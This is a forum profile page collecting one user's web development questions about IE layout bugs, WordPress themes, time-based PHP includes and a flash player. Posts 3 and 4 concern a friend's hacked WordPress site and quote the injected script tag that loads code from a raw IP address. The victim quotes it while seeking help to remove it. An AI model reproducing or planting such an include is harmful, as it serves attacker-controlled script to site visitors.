Jump to content

jsarber

Member
  • Posts

    29
  • Joined

  • Last visited

Posts posted by jsarber

  1. The site is http://orangecoffeecup.com. Look at the header. In IE the coffee cup image drops half way down. It looks fine in other browsers. I'm stumped.

     

    Here's the header:

    <div id="header">
    
    <div id="twitter-badge"><a href="http://twitter.com/<?php if ($apa_Twitter == ''){echo '_fearlessflyer';}else{echo $apa_Twitter;} ?>">follow</a></div><!--twitter-badge-->
    
    <a id="logo" href="<?php bloginfo('url');?>"><img src="http://orangecoffeecup.com/wp-content/uploads/2011/03/coffee-cup-large.png" width="111px" height="70px" alt="Orange Coffee Cup" title="Orange Coffee Cup" /> Podcasting Network</a>
    <div id="navigation">
    <div id="page-nav">
    <ul>
    <li id="welcome" class="current_page_item2"><a href="<?php bloginfo('url');?>" title="Home">Welcome</a></li>
    <?php wp_list_pages('title_li=&depth=1&sort_column=menu_order'); ?>
    </ul>
    <span id="login"><a href="<?php echo get_option('home'); ?>/wp-admin/">Login to Site</a></span>
    </div>

     

    Here's the CSS:

    #header {height:156px; clear:both; padding:70px 49px 0 49px; width:940px; margin:0 auto; text-align:left; background:url(images/header-bg.gif) no-repeat bottom left; position:relative;}
    #twitter-badge {position:absolute; left:740px; top:-5px; background:url(images/twitter-badge-maroon.png); width:218px; height:139px;}
    #twitter-badge a {display:block; width:218px; height:139px; text-indent:-9999px;}
    a#logo {clear:both; font-size:98px; overflow:hidden; text-decoration:none; text-transform:uppercase; color:#333333;letter-spacing:-2px; display:inline; margin:0px; padding:0;}

     

    Any help would be greatly appreciated.

  2. I have some ShareThis buttons at the bottom of each post on my blog. As the title says, they are displayed vertically in IE and horizontally in FF. I want IE to display them like FF. Here's what I'm talking about:

     

    http://www.jeremysarber.com/wp-content/uploads/2010/08/sharethis-buttons.jpg

     

    Here's the code:

     

    <span st_url="<?php the_permalink() ?>" class="st_twitter_vcount" displayText="Tweet"></span><span st_url="<?php the_permalink() ?>" class="st_facebook_vcount" displayText="Share"></span><span st_url="<?php the_permalink() ?>" class="st_email_vcount" displayText="Email"></span><span st_url="<?php the_permalink() ?>" class="st_sharethis_vcount" displayText="Share"></span>

     

    I have no idea why they display differently or how to fix it. Any help would be appreciated.

  3. Here's the root index file:

     

    <?php
    /**
    * Front to the WordPress application. This file doesn't do anything, but loads
    * wp-blog-header.php which does and tells WordPress to load the theme.
    *
    * @package WordPress
    */
    
    /**
    * Tells WordPress to load the WordPress theme and output it.
    *
    * @var bool
    */
    define('WP_USE_THEMES', true);
    
    /** Loads the WordPress Environment and Template */
    require('./wp-blog-header.php');
    ?>

     

    Here's the theme's footer:

     

    <?php global $wp_theme_options; ?>
    <?php do_action('above_footer') ?>
    
    </div><!--end #container-->
    
    <div class="<?php do_action('container_style'); ?>" id="footer">
    <div class="alignleft">
    <strong><?php bloginfo('name'); ?></strong><br />
    <?php _e('Copyright ©','flexx'); echo ' '.date('Y').' '; _e('All Rights Reserved','flexx'); ?>
    </div>
    <div class="alignright">
    	<?php	
    	$footer_credit = '<a href="http://flexxtheme.com/" title="Flexx Theme">'.__('Flexx Theme','flexx').'</a> '.__('by','flexx').' <a href="http://ithemes.com" title="WordPress Themes">iThemes</a><br />';
    	$footer_credit .= __('Powered by','flexx').' <a href="http://wordpress.org">'.__('WordPress','flexx').'</a>';
    	echo apply_filters('ithemes_footer_credit',$footer_credit);
    	?>
    </div>
    
    <?php wp_footer(); //We need this for plugins ?>
    </div>
    
    <?php do_action('flexx_footer_stats'); ?>
    </body>
    </html>

     

    I don't see anything, do you? I've searched the entire site for that script and every part of it. My search was fruitless which made me think it must be encoded. I also searched the database and came up short. I don't know what to do.

  4. My friend, The Lonely Conservative (lonelyconservative.com), had her site hacked. I am struggling to find the problem code within her Wordpress site. Here's what going on. This script has been added to the bottom of each page:

     

    <script src="http://61.4.82.212/js.php"></script>

     

    As you would expect, this script is not within the actual files. I assume I am looking for some kind of encoded something or other. How in the world do I go about finding it? I've been searching for more than a day.

  5. Maybe someone far more knowledgeable than me can help me with this. If you are familiar with BlogTalkRadio.com, several others and I host our own shows on that site. What I am trying to do is creating a streaming audio player that would take these shows and play them live instantaneously and play my own sound files in between. Is this possible?

  6. No, it's not smart enough. I came up with this:

     

    <?php
    $dir = 'mydirectory/';
    $new_file = $dir.date('l-H-i').'.php';
    if(file_exists($new_file)) { 
     include $new_file;
    }
    else { 
     $files = glob($dir.'Friday-00.php');
     include $files[rand(0, count($files)-1)];
    }
    ?>

     

    "Friday-00" is a sort of default file that can be used during any undesignated time. This script was originally written to use a random file if no file matched the time. I just changed the file name from "*" to "Friday-00". It works for my purpose. Just thought I would share in case someone else was looking for something similar.

  7. Here's a piece of the script I'm using:

     

    $new_file = $dir.date('l-H-i').'.php';

     

    The entire script pulls and displays different php files at different times of the day. The files are named something like "Monday-09-30" and so on. Here's my question. If I have certain hours without any minutes (for instance, Monday-07), will it automatically display that file during the entire 7th hour?

     

    I hope this makes sense.

  8. Ok. I've went digging through my archives of past website files and found the code I used:

     

    <?php
                 $dir = 'dbi/';
                 $new_file = $dir.date('d-m-y').'.php';
                 if(file_exists($new_file)) { /* if there's a file matching today's date, include it */
                 include $new_file;
                 }
    
                 else { /* include a random file if there's no file for today */
                 $files = glob($dir.'*.php');
                 include $files[rand(0, count($files)-1)];
                 }
                 ?>

     

    How can I change this to schedule according to both date and time? Is this possible?

  9. I have a flash player in a div that automatically starts playing when the page is loaded. I keep it fixed it the corner so people can quickly find it and turn it off if they want. Here's what I'm looking to do:

     

    1) I would like to give them the option before they navigate away from the page to make the player pop up in a new window so that they may continue listening without interruption. Perhaps I could put the option right above the player.

     

    2) I would also like to make the div collapsible or closable and stay that way as folks navigate through the site for their convenience. That means the player would cease playing as well.

     

    Is this possible? If so, how?

     

    Any help would be greatly appreciated. I've been Googling for hours to no avail. The website if you need it is http://jeremysarber.com

  10. I just upgraded this morning to Wordpress 2.8 and a feature I was using and need has been changed. It makes sense, but multiple users cannot be registered if they have the same email. The problem is that I register "authors" on the back-end so that I can publish writing from several church ministers under their named. I use my email address for all of them and now it won't let me.

     

    Anyone familiar enough with PHP and Wordpress to point me in the right direction?

×
×
  • Create New...